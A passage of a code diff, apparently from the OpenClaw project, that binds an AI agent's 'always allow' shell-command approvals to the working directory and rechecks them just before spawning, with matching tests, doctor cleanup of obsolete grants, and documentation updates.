a/apps/macos/Tests/OpenClawIPCTests/ExecApprovalsStoreRefactorTests.swift b/apps/macos/Tests/OpenClawIPCTests/ExecApprovalsStoreRefactorTests.swift index cd1800b70c33..aa0baf51727b 100644 --- a/apps/macos/Tests/OpenClawIPCTests/ExecApprovalsStoreRefactorTests.swift +++ b/apps/macos/Tests/OpenClawIPCTests/ExecApprovalsStoreRefactorTests.swift @@ -383,6 +383,37 @@ struct ExecApprovalsStoreRefactorTests { } } + @Test + func `cleanup removes obsolete generated approvals but preserves manual and current rules`() async throws { + try await self.withTempStateDir { _ in + _ = try ExecApprovalsStore.addAllowlistEntries( + agentId: "main", + entries: [ + ExecAllowlistEntry(pattern: "/usr/bin/git", source: "allow-always"), + ExecAllowlistEntry( + pattern: "/usr/bin/curl", + source: "allow-always", + argPattern: "sha256:argv:obsolete"), + ExecAllowlistEntry( + pattern: "/usr/bin/rg", + source: "allow-always", + argPattern: "sha256:cwd-argv:v1:current"), + ExecAllowlistEntry(pattern: "/usr/bin/python3", argPattern: #"^script\.py$"#), + ExecAllowlistEntry(pattern: "=node-command:marker", source: "allow-always"), + ]).get() + + let removed = try ExecApprovalsStore.removeObsoleteGeneratedAllowAlwaysEntries().get() + let entries = try #require(ExecApprovalsStore.loadFile().agents?["main"]?.allowlist) + + #expect(removed == 2) + #expect(entries.map(\.pattern) == [ + "/usr/bin/rg", + "/usr/bin/python3", + "=node-command:marker", + ]) + } + } + @Test func `usage checkpoint rejects a revoked reusable approval`() async throws { try await self.withTempStateDir { _ in diff --git a/apps/macos/Tests/OpenClawIPCTests/LowCoverageHelperTests.swift b/apps/macos/Tests/OpenClawIPCTests/LowCoverageHelperTests.swift index b5c7b24ce84b..0da30a609424 100644 --- a/apps/macos/Tests/OpenClawIPCTests/LowCoverageHelperTests.swift +++ b/apps/macos/Tests/OpenClawIPCTests/LowCoverageHelperTests.swift @@ -42,6 +42,22 @@ struct LowCoverageHelperTests { #expect(result.errorMessage != nil) } + @Test func `shell executor stops before spawn when final preflight fails`() async { + let marker = FileManager.default.temporaryDirectory + .appendingPathComponent("openclaw-shell-preflight-\(UUID().uuidString)") + defer { try? FileManager.default.removeItem(at: marker) } + + let result = await ShellExecutor.runDetailed( + command: ["/usr/bin/touch", marker.path], + cwd: nil, + env: nil, + timeout: 2, + beforeSpawn: { "preflight denied" }) + + #expect(result.preflightError == "preflight denied") + #expect(!FileManager.default.fileExists(atPath: marker.path)) + } + @Test func `shell executor runs command`() async { let result = await ShellExecutor.runDetailed(command: ["/bin/echo", "ok"], cwd: nil, env: nil, timeout: 2) #expect(result.success == true) diff --git a/docs/cli/approvals.md b/docs/cli/approvals.md index e216cb49bcbc..870f0d6e5307 100644 --- a/docs/cli/approvals.md +++ b/docs/cli/approvals.md @@ -90,6 +90,10 @@ openclaw approvals resolve allow-always openclaw approvals resolve deny --reason "Not expected during maintenance" ``` +For exec requests, `allow-always` means **always allow here**: the generated +grant is tied to the command's exact arguments and current working directory. +The same command from another directory requires a separate approval. + The CLI reads the unified approval record to select its kind, checks the requested decision against the record's allowed decisions, and then calls the unified resolver. A first successful decision exits `0`. Repeating the recorded decision also exits `0` and reports `already resolved (same decision)`. A conflicting decision, missing approval, expired approval, or decision unavailable for that approval kind prints a clear error and exits non-zero. `--reason` adds a local note to the CLI confirmation. The current Gateway approval record has no free-text resolution-reason field, so this note is not persisted or sent to other approval surfaces. @@ -183,6 +187,7 @@ No target flag means the local approvals row in the shared state database. ## Notes - The node host must advertise `system.execApprovals.get/set` (macOS app, headless node host, or Windows companion). +- After upgrading from an argv-only generated-grant version, run `openclaw doctor --fix` if the update did not already do so. Doctor removes only inactive generated grants; manual allowlist rules stay in place. Rerun affected workflows to approve them in the intended directory. - Approvals are stored per host in `$OPENCLAW_STATE_DIR/state/openclaw.sqlite#exec_approvals_config`, or `~/.openclaw/state/openclaw.sqlite#exec_approvals_config` when the variable is diff --git a/docs/cli/doctor.md b/docs/cli/doctor.md index 98e9e9ceca79..ec8c5cf47f98 100644 --- a/docs/cli/doctor.md +++ b/docs/cli/doctor.md @@ -38,6 +38,13 @@ Doctor has five postures: Use `openclaw doctor --json` when an operator or script wants the advisory Doctor report as JSON. It exits successfully after producing a report; inspect `ok` and `findings` for health state. Use explicit `openclaw doctor --lint --json` when CI should exit nonzero for findings at the selected severity threshold. Prefer `--fix` when a human operator wants Doctor to edit config or state. +After an exec-approval format upgrade, Doctor reports older generated approvals +that are no longer active because they were not tied to a working directory. +`openclaw doctor --fix` removes those inactive generated entries and leaves +manual allowlist rules unchanged. Rerun affected workflows and choose +**Always allow here** to renew trust for the intended directory. The normal +`openclaw update` finalization runs this safe repair automatically. + ## Examples ```bash diff --git a/docs/tools/exec-approvals.md b/docs/tools/exec-approvals.md index 24ef13c4ecda..484b8c8b3cdf 100644 --- a/docs/tools/exec-approvals.md +++ b/docs/tools/exec-approvals.md @@ -404,9 +404,15 @@ argv matching. Prefer the UI or approval flow to regenerate those entries instead of hand-editing the encoded value. If OpenClaw cannot parse argv for a command segment, entries with `argPattern` do not match. -Generated `allow-always` entries are argv-bound. New generated entries include -`argPattern`; older generated path-only entries are ignored and need a fresh -approval. For a manual path-only rule, omit both `source` and `argPattern`. +Generated `allow-always` entries are bound to both the exact argv and the working +directory where you approved them. Choosing **Always allow here** authorizes the +same command only in that directory; running it elsewhere is an allowlist miss. + +Older generated entries that were not directory-bound are inactive after an +upgrade. `openclaw update` removes them during its automatic Doctor pass, or you +can run `openclaw doctor --fix` yourself. Rerun an affected workflow and choose +**Always allow here** to create the replacement. Manual allowlist rules are not +changed. For a manual path-only rule, omit both `source` and `argPattern`. Each allowlist entry supports: diff --git a/src/agents/bash-tools.exec-host-gateway.test.ts b/src/agents/bash-tools.exec-host-gateway.test.ts index c25495237852..019d5f688c91 100644 --- a/src/agents/bash-tools.exec-host-gateway.test.ts +++ b/src/agents/bash-tools.exec-host-gateway.test.ts @@ -44,7 +44,7 @@ import { } from "../infra/exec-authorization-plan.js"; import { buildAuthorizedShellCommandFromPlan } from "../infra/exec-authorization-render.js"; import { - buildHashedArgPatternFromArgv, + buildCwdBoundHashedArgPattern, resolvePolicyTargetCandidatePath, } from "../infra/exec-command-resolution.js"; import { executeSqliteQuerySync, getNodeSqliteKysely } from "../infra/kysely-sync.js"; @@ -792,6 +792,48 @@ describe("processGatewayAllowlist", () => { }); }); + it.runIf(process.platform !== "win32")( + "rejects a durable grant when its approved directory is replaced before execution", + async () => { + const { command, authorizationPlan, segments, enforcedCommand } = + await planAllowlistedNodeVersion(); + evaluateShellAllowlistWithAuthorizationMock.mockReturnValue({ + allowlistMatches: [{ pattern: "/usr/bin/node" }], + analysisOk: true, + allowlistSatisfied: true, + segments, + segmentAllowlistEntries: [{ pattern: "/usr/bin/node", source: "allow-always" }], + segmentSatisfiedBy: ["allowlist"], + authorizationPlan, + }); + buildEnforcedShellCommandMock.mockReturnValue({ ok: true, command: enforcedCommand }); + const approvedCwd = fs.realpathSync( + fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-gateway-cwd-approved-")), + ); + const movedCwd = `${approvedCwd}-moved`; + try { + const result = await runGatewayAllowlist({ command, workdir: approvedCwd }); + expect(result.deniedResult).toBeUndefined(); + expect(result.revalidateBeforeExecution).toBeTypeOf("function"); + + fs.renameSync(approvedCwd, movedCwd); + fs.mkdirSync(approvedCwd); + + const denied = await result.revalidateBeforeExecution?.(); + expect(denied?.content[0]).toEqual( + expect.objectContaining({ + text: expect.stringContaining( + "SYSTEM_RUN_DENIED: approval cwd changed before execution", + ), + }), + ); + } finally { + fs.rmSync(approvedCwd, { recursive: true, force: true }); + fs.rmSync(movedCwd, { recursive: true, force: true }); + } + }, + ); + it("still requires approval for unavailable allowlist plans when ask is on-miss", async () => { resolveExecHostApprovalContextMock.mockReturnValue({ approvals: { allowlist: [], file: { version: 1, agents: {} } }, @@ -1010,6 +1052,7 @@ describe("processGatewayAllowlist", () => { expect(result!).toEqual({ execCommandOverride: undefined, allowWithoutEnforcedCommand: true, + revalidateBeforeExecution: expect.any(Function), }); expect(captured.events).toHaveLength(2); expect(captured.events[1]).toMatchObject({ @@ -1049,6 +1092,7 @@ describe("processGatewayAllowlist", () => { expect(createAndRegisterDefaultExecApprovalRequestMock).not.toHaveBeenCalled(); expect(result!).toEqual({ execCommandOverride: `${resolvedPath} ok`, + revalidateBeforeExecution: expect.any(Function), }); expect(captured.events).toHaveLength(1); expect(captured.events[0]).toMatchObject({ @@ -1457,6 +1501,7 @@ describe("processGatewayAllowlist", () => { expect(result).toEqual({ execCommandOverride: `${resolvedExecutable} -c 16`, + revalidateBeforeExecution: expect.any(Function), }); expect(commitExecAuthorizationMock).toHaveBeenCalledWith( expect.objectContaining({ @@ -1514,7 +1559,10 @@ describe("processGatewayAllowlist", () => { const result = await runGatewayAllowlist({ command }); expect(createAndRegisterDefaultExecApprovalRequestMock).not.toHaveBeenCalled(); - expect(result).toEqual({ execCommandOverride: enforced.command }); + expect(result).toEqual({ + execCommandOverride: enforced.command, + revalidateBeforeExecution: expect.any(Function), + }); expect(commitExecAuthorizationMock).toHaveBeenCalledWith( expect.objectContaining({ authorization: expect.objectContaining({ @@ -1701,7 +1749,10 @@ describe("processGatewayAllowlist", () => { }); expect(createAndRegisterDefaultExecApprovalRequestMock).not.toHaveBeenCalled(); - expect(result).toEqual({ execCommandOverride: undefined }); + expect(result).toEqual({ + execCommandOverride: undefined, + revalidateBeforeExecution: expect.any(Function), + }); expect(commitExecAuthorizationMock).toHaveBeenCalledWith( expect.objectContaining({ authorization: expect.objectContaining({ @@ -1826,7 +1877,10 @@ describe("processGatewayAllowlist", () => { env, autoReview: false, }); - const expectedGitArgPattern = buildHashedArgPatternFromArgv(["/usr/bin/git", "status"]); + const expectedGitArgPattern = buildCwdBoundHashedArgPattern( + ["/usr/bin/git", "status"], + process.cwd(), + ); expect(result.pendingResult?.details.status).toBe("approval-pending"); expect(resolveExecApprovalAllowedDecisionsMock).toHaveBeenCalledWith({ @@ -2347,7 +2401,10 @@ EOF`, const result = await runGatewayAllowlist({ command }); expect(createAndRegisterDefaultExecApprovalRequestMock).not.toHaveBeenCalled(); - expect(result).toEqual({ execCommandOverride: undefined }); + expect(result).toEqual({ + execCommandOverride: undefined, + revalidateBeforeExecution: expect.any(Function), + }); expect(commitExecAuthorizationMock).toHaveBeenCalledWith( expect.objectContaining({ authorization: expect.objectContaining({ diff --git a/src/agents/bash-tools.exec-host-gateway.ts b/src/agents/bash-tools.exec-host-gateway.ts index 061c96871dbd..150f4078dd96 100644 --- a/src/agents/bash-tools.exec-host-gateway.ts +++ b/src/agents/bash-tools.exec-host-gateway.ts @@ -19,6 +19,7 @@ import { type AllowAlwaysPersistenceDecision, commitExecAuthorizationLocked, commandRequiresSecurityAuditSuppressionApproval, + countObsoleteGeneratedExecApprovals, createExecApprovalPolicySnapshot, type ExecAsk, type ExecApprovalUsageAuthorization, @@ -50,6 +51,12 @@ import { revalidateSystemRunMutableFileBinding, type SystemRunMutableFileBinding, } from "../infra/system-run-approval-binding.js"; +import { + APPROVAL_CWD_DRIFT_DENIED_MESSAGE, + type ApprovedCwdSnapshot, + captureApprovedCwdSnapshotSync, + revalidateApprovedCwdSnapshot, +} from "../infra/system-run-cwd-binding.js"; import { GatewayDrainingError, runWithGatewayIndependentRootWorkAdmission, @@ -444,23 +451,41 @@ function buildGatewayExecApprovalDeniedToolResult(params: { }; } +async function resolveGatewayExecApprovalDrift(params: { + binding?: SystemRunMutableFileBinding; + cwdSnapshot?: ApprovedCwdSnapshot; + cwd: string; +}): Promise { + if (params.binding) { + const current = await revalidateSystemRunMutableFileBinding({ + binding: params.binding, + cwd: params.cwd, + }); + if (!current.ok) { + return current.message; + } + } + if (params.cwdSnapshot && !revalidateApprovedCwdSnapshot(params.cwdSnapshot)) { + return APPROVAL_CWD_DRIFT_DENIED_MESSAGE; + } + return undefined; +} + /** Rechecks a gateway approval binding at the caller's final spawn boundary. */ async function revalidateGatewayExecApprovalBinding(params: { - binding: SystemRunMutableFileBinding; + binding?: SystemRunMutableFileBinding; + cwdSnapshot?: ApprovedCwdSnapshot; command: string; cwd: string; }): Promise | undefined> { - const current = await revalidateSystemRunMutableFileBinding({ - binding: params.binding, - cwd: params.cwd, - }); - return current.ok - ? undefined - : buildGatewayExecApprovalDeniedToolResult({ - deniedReason: current.message, + const deniedReason = await resolveGatewayExecApprovalDrift(params); + return deniedReason + ? buildGatewayExecApprovalDeniedToolResult({ + deniedReason, command: params.command, cwd: params.cwd, - }); + }) + : undefined; } async function resolveGatewayExecApprovalFollowupText(params: { @@ -496,6 +521,20 @@ export async function processGatewayAllowlist( ask: params.ask, host: "gateway", }); + const cwdAuthorizationBound = hostSecurity === "allowlist" || hostAsk !== "off"; + const capturedCwd = cwdAuthorizationBound + ? captureApprovedCwdSnapshotSync(params.workdir) + : undefined; + if (capturedCwd && !capturedCwd.ok) { + return { + deniedResult: buildGatewayExecApprovalDeniedToolResult({ + deniedReason: capturedCwd.message, + command: params.command, + cwd: params.workdir, + }), + }; + } + const approvedCwdSnapshot = capturedCwd?.snapshot; const evaluationPolicySnapshot = createExecApprovalPolicySnapshot({ file: approvals.file, agentId: params.agentId, @@ -515,6 +554,12 @@ export async function processGatewayAllowlist( const analysisOk = allowlistEval.analysisOk; const allowlistSatisfied = hostSecurity === "allowlist" && analysisOk ? allowlistEval.allowlistSatisfied : false; + const obsoleteGeneratedApprovalCount = countObsoleteGeneratedExecApprovals(approvals.file); + if (hostSecurity === "allowlist" && !allowlistSatisfied && obsoleteGeneratedApprovalCount > 0) { + params.warnings.push( + `${obsoleteGeneratedApprovalCount} older generated exec ${obsoleteGeneratedApprovalCount === 1 ? "approval is" : "approvals are"} inactive because they are not tied to a working directory. Run "openclaw doctor --fix", then rerun the workflow and choose "Always allow here".`, + ); + } const durableApprovalSatisfied = hasDurableExecApproval({ analysisOk, segmentAllowlistEntries: allowlistEval.segmentAllowlistEntries, @@ -915,10 +960,11 @@ export async function processGatewayAllowlist( } const approvalMutableFileBinding = mutableFileBinding; const revalidateBeforeExecution = - approvalMutableFileBinding.operands.length > 0 + approvedCwdSnapshot || approvalMutableFileBinding.operands.length > 0 ? () => revalidateGatewayExecApprovalBinding({ binding: approvalMutableFileBinding, + cwdSnapshot: approvedCwdSnapshot, command: params.command, cwd: params.workdir, }) @@ -1014,6 +1060,7 @@ export async function processGatewayAllowlist( ) { const deniedResult = await revalidateGatewayExecApprovalBinding({ binding: approvalMutableFileBinding, + cwdSnapshot: approvedCwdSnapshot, command: params.command, cwd: params.workdir, }); @@ -1150,15 +1197,16 @@ export async function processGatewayAllowlist( ); } - const currentBinding = await revalidateSystemRunMutableFileBinding({ + const deniedReason = await resolveGatewayExecApprovalDrift({ binding: approvalMutableFileBinding, + cwdSnapshot: approvedCwdSnapshot, cwd: params.workdir, }); - if (!currentBinding.ok) { + if (deniedReason) { return { deniedResult: buildGatewayExecApprovalDeniedToolResult({ approvalId, - deniedReason: currentBinding.message, + deniedReason, command: params.command, cwd: params.workdir, }), @@ -1263,12 +1311,13 @@ export async function processGatewayAllowlist( } if (!deniedReason && approvedByAsk) { - const currentBinding = await revalidateSystemRunMutableFileBinding({ + const bindingDenied = await resolveGatewayExecApprovalDrift({ binding: approvalMutableFileBinding, + cwdSnapshot: approvedCwdSnapshot, cwd: params.workdir, }); - if (!currentBinding.ok) { - deniedReason = currentBinding.message; + if (bindingDenied) { + deniedReason = bindingDenied; } } @@ -1454,14 +1503,15 @@ export async function processGatewayAllowlist( return { status: "run-aborted" as const }; } - const currentBinding = await revalidateSystemRunMutableFileBinding({ + const bindingDenied = await resolveGatewayExecApprovalDrift({ binding: approvalMutableFileBinding, + cwdSnapshot: approvedCwdSnapshot, cwd: params.workdir, }); - if (!currentBinding.ok) { + if (bindingDenied) { return { status: "operand-drift" as const, - message: currentBinding.message, + message: bindingDenied, }; } if (params.signal?.aborted) { @@ -1469,6 +1519,8 @@ export async function processGatewayAllowlist( } let run: Awaited>; + let finalBindingDenied: string | undefined; + const finalBindingDeniedError = new Error("gateway approval changed before spawn"); try { gatewayInvocationStarted = true; run = await runExecProcess({ @@ -1488,8 +1540,22 @@ export async function processGatewayAllowlist( scopeKey: params.scopeKey, sessionKey: params.notifySessionKey ?? params.sessionKey, timeoutSec: effectiveTimeout, + beforeSpawn: async () => { + finalBindingDenied = await resolveGatewayExecApprovalDrift({ + binding: approvalMutableFileBinding, + cwdSnapshot: approvedCwdSnapshot, + cwd: params.workdir, + }); + if (finalBindingDenied) { + throw finalBindingDeniedError; + } + return undefined; + }, }); - } catch { + } catch (error) { + if (error === finalBindingDeniedError && finalBindingDenied) { + return { status: "operand-drift" as const, message: finalBindingDenied }; + } return { status: "spawn-failed" as const }; } @@ -1603,6 +1669,18 @@ export async function processGatewayAllowlist( ), }); - return { execCommandOverride: enforcedCommand }; + return { + execCommandOverride: enforcedCommand, + ...(approvedCwdSnapshot + ? { + revalidateBeforeExecution: () => + revalidateGatewayExecApprovalBinding({ + cwdSnapshot: approvedCwdSnapshot, + command: params.command, + cwd: params.workdir, + }), + } + : {}), + }; } /* oxlint-disable max-lines -- TODO: split this grandfathered oversized file. */ diff --git a/src/agents/bash-tools.exec-host-node-phases.ts b/src/agents/bash-tools.exec-host-node-phases.ts index 7ae32d631269..93bac8c24c59 100644 --- a/src/agents/bash-tools.exec-host-node-phases.ts +++ b/src/agents/bash-tools.exec-host-node-phases.ts @@ -18,6 +18,7 @@ import { type ExecSecurity, type SystemRunApprovalPlan, commandRequiresSecurityAuditSuppressionApproval, + countObsoleteGeneratedExecApprovals, evaluateShellAllowlistWithAuthorization, hasDurableExecApproval, hasNodeCommandAllowAlwaysMarker, @@ -579,6 +580,7 @@ export async function analyzeNodeApprovalRequirement(params: { let allowlistSatisfied = false; let durableApprovalSatisfied = false; let nodeApprovalsFileKnown = false; + let obsoleteGeneratedApprovalCount = 0; const inlineEvalHit = params.request.strictInlineEval === true ? (policyCommandEvals @@ -630,6 +632,7 @@ export async function analyzeNodeApprovalRequirement(params: { agentId: params.prepared.agentId, overrides: { security: "full" }, }); + obsoleteGeneratedApprovalCount = countObsoleteGeneratedExecApprovals(resolved.file); // Allowlist-only precheck; safe bins are node-local and may diverge. // POSIX node transport wraps commands, so mirror node policy by // accepting either the prepared wrapper or its semantic inner command. @@ -698,6 +701,15 @@ export async function analyzeNodeApprovalRequirement(params: { autoReviewSegment.raw.trim() === autoReviewBindingCommand.trim()) ? autoReviewSegment.argv : undefined; + if ( + (params.hostSecurity === "allowlist" || params.prepared.execPolicy?.security === "allowlist") && + !allowlistSatisfied && + obsoleteGeneratedApprovalCount > 0 + ) { + params.request.warnings.push( + `${obsoleteGeneratedApprovalCount} older generated exec ${obsoleteGeneratedApprovalCount === 1 ? "approval is" : "approvals are"} inactive on this node because they are not tied to a working directory. Run "openclaw doctor --fix" on the node, then rerun the workflow and choose "Always allow here".`, + ); + } return { analysisOk, allowlistSatisfied, diff --git a/src/agents/bash-tools.exec-host-node.test.ts b/src/agents/bash-tools.exec-host-node.test.ts index 023cc9888527..d7ac1389efbb 100644 --- a/src/agents/bash-tools.exec-host-node.test.ts +++ b/src/agents/bash-tools.exec-host-node.test.ts @@ -386,6 +386,7 @@ const detectInterpreterInlineEvalArgvMock = vi.hoisted(() => ); vi.mock("../infra/exec-approvals.js", () => ({ + countObsoleteGeneratedExecApprovals: vi.fn(() => 0), evaluateShellAllowlist: evaluateShellAllowlistMock, evaluateShellAllowlistWithAuthorization: evaluateShellAllowlistMock, commandRequiresSecurityAuditSuppressionApproval: diff --git a/src/agents/bash-tools.exec-run.ts b/src/agents/bash-tools.exec-run.ts index 96284496ed62..81514845f042 100644 --- a/src/agents/bash-tools.exec-run.ts +++ b/src/agents/bash-tools.exec-run.ts @@ -42,6 +42,7 @@ import { import { DEFAULT_MAX_OUTPUT, DEFAULT_PENDING_MAX_OUTPUT, + ExecProcessPreflightError, type ExecProcessHandle, type ExecProcessOutcome, normalizePathPrepend, @@ -561,10 +562,6 @@ export function createExecTool( }); } - const gatewayApprovalDenied = await revalidateGatewayApproval?.(); - if (gatewayApprovalDenied) { - return attachExecApprovalReview(gatewayApprovalDenied, approvalReview); - } signal?.throwIfAborted(); run = await runExecProcess({ command: params.command, @@ -590,6 +587,7 @@ export function createExecTool( timeoutSec: effectiveTimeout, processContinuationAvailable: allowBackground, onUpdate, + beforeSpawn: revalidateGatewayApproval, onSettledBeforeNotify: (outcome) => { settledOutcome = outcome; finalizeBackgroundExecTask({ handle: backgroundTask, outcome }); @@ -598,7 +596,7 @@ export function createExecTool( discardPreparedSandboxWorkdir = null; } catch (error) { discardPreparedSandboxWorkdir?.(); - throw error; + return attachExecApprovalReview(ExecProcessPreflightError.unwrap(error), approvalReview); } let yielded = false; diff --git a/src/agents/bash-tools.exec-runtime.test.ts b/src/agents/bash-tools.exec-runtime.test.ts index f876b348c387..25d99faec3fc 100644 --- a/src/agents/bash-tools.exec-runtime.test.ts +++ b/src/agents/bash-tools.exec-runtime.test.ts @@ -191,6 +191,43 @@ describe("runExecProcess cursor tracking", () => { }); describe("sandbox exec preparation failures", () => { + it("runs the final authorization check after async preparation and before spawn", async () => { + const preparation = + createDeferred>>>(); + const denied = new Error("approval directory changed"); + const beforeSpawn = vi.fn(async () => { + throw denied; + }); + const pending = runExecProcess({ + command: "sandbox-command", + workdir: "/tmp", + env: {}, + sandbox: { + containerName: "sandbox", + workspaceDir: "/workspace", + containerWorkdir: "/workspace", + buildExecSpec: async () => await preparation.promise, + }, + usePty: false, + warnings: [], + maxOutput: 1000, + pendingMaxOutput: 1000, + notifyOnExit: false, + timeoutSec: null, + beforeSpawn, + }); + + expect(beforeSpawn).not.toHaveBeenCalled(); + preparation.resolve({ + argv: ["sandbox-command"], + env: {}, + stdinMode: "pipe-closed", + }); + await expect(pending).rejects.toBe(denied); + expect(beforeSpawn).toHaveBeenCalledOnce(); + expect(supervisorMock.spawn).not.toHaveBeenCalled(); + }); + it("settles the registered session once when buildExecSpec rejects", async () => { const registry = await import("./bash-process-registry.js"); const sessionSlugs = await import("./session-slug.js"); diff --git a/src/agents/bash-tools.exec-runtime.ts b/src/agents/bash-tools.exec-runtime.ts index 5beb761fd8ac..cf7448ca1e1c 100644 --- a/src/agents/bash-tools.exec-runtime.ts +++ b/src/agents/bash-tools.exec-runtime.ts @@ -67,6 +67,19 @@ export { applyPathPrepend, normalizePathPrepend } from "../infra/path-prepend.js export { execSchema } from "./bash-tools.schemas.js"; +export class ExecProcessPreflightError extends Error { + constructor(readonly result: AgentToolResult) { + super("exec denied by final preflight"); + } + + static unwrap(error: unknown): AgentToolResult { + if (error instanceof ExecProcessPreflightError) { + return error.result; + } + throw error; + } +} + const SMKX = "\x1b[?1h"; const RMKX = "\x1b[?1l"; @@ -657,6 +670,8 @@ export async function runExecProcess(opts: { onUpdate?: (partialResult: AgentToolResult) => void; /** Runs after process finalization and before the exit wake is queued. */ onSettledBeforeNotify?: (outcome: ExecProcessOutcome) => void; + /** Revalidates authorization after async preparation, immediately before each spawn attempt. */ + beforeSpawn?: () => Promise | undefined>; }): Promise { const startedAt = Date.now(); const sessionId = createSessionSlug(isProcessSessionIdTaken); @@ -916,6 +931,13 @@ export async function runExecProcess(opts: { handleStdout(chunk); }; + const assertPreSpawnAuthorized = async () => { + const denied = await opts.beforeSpawn?.(); + if (denied) { + throw new ExecProcessPreflightError(denied); + } + }; + try { const spawnSpec = await prepareSpawnSpec(); usingPty = spawnSpec.mode === "pty"; @@ -933,6 +955,7 @@ export async function runExecProcess(opts: { }; if (spawnSpec.mode === "pty") { try { + await assertPreSpawnAuthorized(); managedRun = await supervisor.spawn({ ...spawnBase, mode: "pty", @@ -945,6 +968,7 @@ export async function runExecProcess(opts: { ); opts.warnings.push(warning); usingPty = false; + await assertPreSpawnAuthorized(); managedRun = await supervisor.spawn({ ...spawnBase, mode: "child", @@ -954,6 +978,7 @@ export async function runExecProcess(opts: { }); } } else { + await assertPreSpawnAuthorized(); managedRun = await supervisor.spawn({ ...spawnBase, mode: "child", diff --git a/src/agents/bash-tools.exec-workdir.test.ts b/src/agents/bash-tools.exec-workdir.test.ts index aeef606b37f8..f2904d605ea1 100644 --- a/src/agents/bash-tools.exec-workdir.test.ts +++ b/src/agents/bash-tools.exec-workdir.test.ts @@ -3,7 +3,7 @@ * Verifies cwd selection and validation before exec launches or remote node * forwarding. */ -import { mkdir, mkdtemp, rm, symlink, writeFile } from "node:fs/promises"; +import { mkdir, mkdtemp, realpath, rm, symlink, writeFile } from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; @@ -13,7 +13,7 @@ import type { BashSandboxConfig } from "./bash-tools.shared.js"; async function withTempDir(run: (dir: string) => Promise) { const dir = await mkdtemp(path.join(os.tmpdir(), "openclaw-exec-workdir-")); try { - await run(dir); + await run(await realpath(dir)); } finally { await rm(dir, { recursive: true, force: true }); } @@ -97,6 +97,22 @@ describe("resolveExecWorkdir", () => { }); }); + it("canonicalizes local workdirs before approval and execution", async () => { + await withTempDir(async (workspaceDir) => { + const target = path.join(workspaceDir, "target"); + const link = path.join(workspaceDir, "link"); + await mkdir(target); + await symlink(target, link, "dir"); + + await expect( + resolveExecWorkdir({ + host: "gateway", + workdir: link, + }), + ).resolves.toEqual({ kind: "local", hostCwd: target }); + }); + }); + it("uses configured local cwd when workdir is omitted", async () => { await withTempDir(async (workspaceDir) => { await expect( diff --git a/src/agents/bash-tools.exec-workdir.ts b/src/agents/bash-tools.exec-workdir.ts index 156491b5853d..f8d24a35c634 100644 --- a/src/agents/bash-tools.exec-workdir.ts +++ b/src/agents/bash-tools.exec-workdir.ts @@ -6,6 +6,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; +import { safeRealpathSync } from "../infra/boundary-path.js"; import type { ExecHost } from "../infra/exec-approvals.js"; import { isPathInside, safeStatSync } from "../infra/path-guards.js"; import type { BashSandboxConfig } from "./bash-tools.shared.js"; @@ -60,7 +61,7 @@ function unavailable(requestedCwd: string): ExecWorkdirResolution { function resolveExistingHostWorkdir(workdir: string): string | null { const stats = safeStatSync(workdir); - return stats?.isDirectory() ? workdir : null; + return stats?.isDirectory() ? (safeRealpathSync(workdir) ?? path.resolve(workdir)) : null; } function safeCurrentCwd(): string | null { diff --git a/src/commands/doctor-security.test.ts b/src/commands/doctor-security.test.ts index 051c83a1888c..acad373bb860 100644 --- a/src/commands/doctor-security.test.ts +++ b/src/commands/doctor-security.test.ts @@ -354,6 +354,36 @@ describe("noteSecurityWarnings gateway exposure", () => { expect(message).toContain("openclaw approvals get --gateway"); }); + it("explains how to renew inactive generated exec approvals", async () => { + await withExecApprovalsFile( + { + version: 1, + agents: { + main: { + allowlist: [ + { + pattern: "/usr/bin/git", + source: "allow-always", + argPattern: "sha256:argv:obsolete", + }, + { pattern: "/usr/bin/python3", argPattern: "^script\\.py$" }, + ], + }, + }, + }, + async () => { + const findings = await collectSecurityWarnings({} as OpenClawConfig, {}); + const finding = findings.find( + (candidate) => candidate.checkId === "doctor.exec_approvals_require_cwd_renewal", + ); + expect(finding?.detail).toContain("1 older generated approval is inactive"); + expect(finding?.remediation).toContain("openclaw doctor --fix"); + expect(finding?.remediation).toContain('choose "Always allow here"'); + expect(finding?.remediation).toContain("Manual allowlist rules are unchanged"); + }, + ); + }); + it("warns when filesystem tools are disabled but exec remains available", async () => { await noteSecurityWarnings({ tools: { diff --git a/src/commands/doctor-security.ts b/src/commands/doctor-security.ts index 6c9c093383f8..30653198fb45 100644 --- a/src/commands/doctor-security.ts +++ b/src/commands/doctor-security.ts @@ -10,6 +10,7 @@ import { resolveGatewayAuthTokenSourceConflict } from "../gateway/auth-token-sou import { resolveGatewayAuth } from "../gateway/auth.js"; import { isLoopbackHost, resolveGatewayBindHost } from "../gateway/net.js"; import { resolveExecPolicyScopeSnapshot } from "../infra/exec-approvals-effective.js"; +import { countObsoleteGeneratedExecApprovals } from "../infra/exec-approvals-generated-migration.js"; import { loadExecApprovalsReadOnly, resolveExecApprovalsDisplayPath, @@ -195,7 +196,23 @@ function collectExecPolicyConflictWarnings(cfg: OpenClawConfig): SecurityAuditFi function collectDurableExecApprovalWarnings(cfg: OpenClawConfig): SecurityAuditFinding[] { void cfg; - return []; + const count = countObsoleteGeneratedExecApprovals(loadExecApprovalsReadOnly()); + if (count === 0) { + return []; + } + return [ + { + checkId: "doctor.exec_approvals_require_cwd_renewal", + severity: "warn", + title: "Exec approvals need renewal", + detail: `${count} older generated ${count === 1 ? "approval is" : "approvals are"} inactive because they are not tied to a working directory.`, + remediation: [ + `Run ${formatCliCommand("openclaw doctor --fix")} to remove the inactive entries.`, + 'Then rerun affected workflows and choose "Always allow here" when prompted.', + "Manual allowlist rules are unchanged.", + ].join("\n"), + }, + ]; } function collectExecFilesystemPolicyWarnings(cfg: OpenClawConfig): SecurityAuditFinding[] { diff --git a/src/commands/doctor/repair-sequencing.ts b/src/commands/doctor/repair-sequencing.ts index afa392a9d1ce..1ce43a8ba874 100644 --- a/src/commands/doctor/repair-sequencing.ts +++ b/src/commands/doctor/repair-sequencing.ts @@ -5,6 +5,7 @@ import { applyPluginAutoEnable, materializePluginAutoEnableCandidates, } from "../../config/plugin-auto-enable.js"; +import { repairObsoleteGeneratedExecApprovals } from "../../infra/exec-approvals-generated-migration.js"; import { migrateLegacyOnboardingRecommendationsScope } from "../../infra/state-migrations.onboarding-recommendations.js"; import type { PluginMetadataSnapshotScopeRunner } from "../../plugins/current-plugin-metadata-snapshot.js"; import { @@ -110,6 +111,13 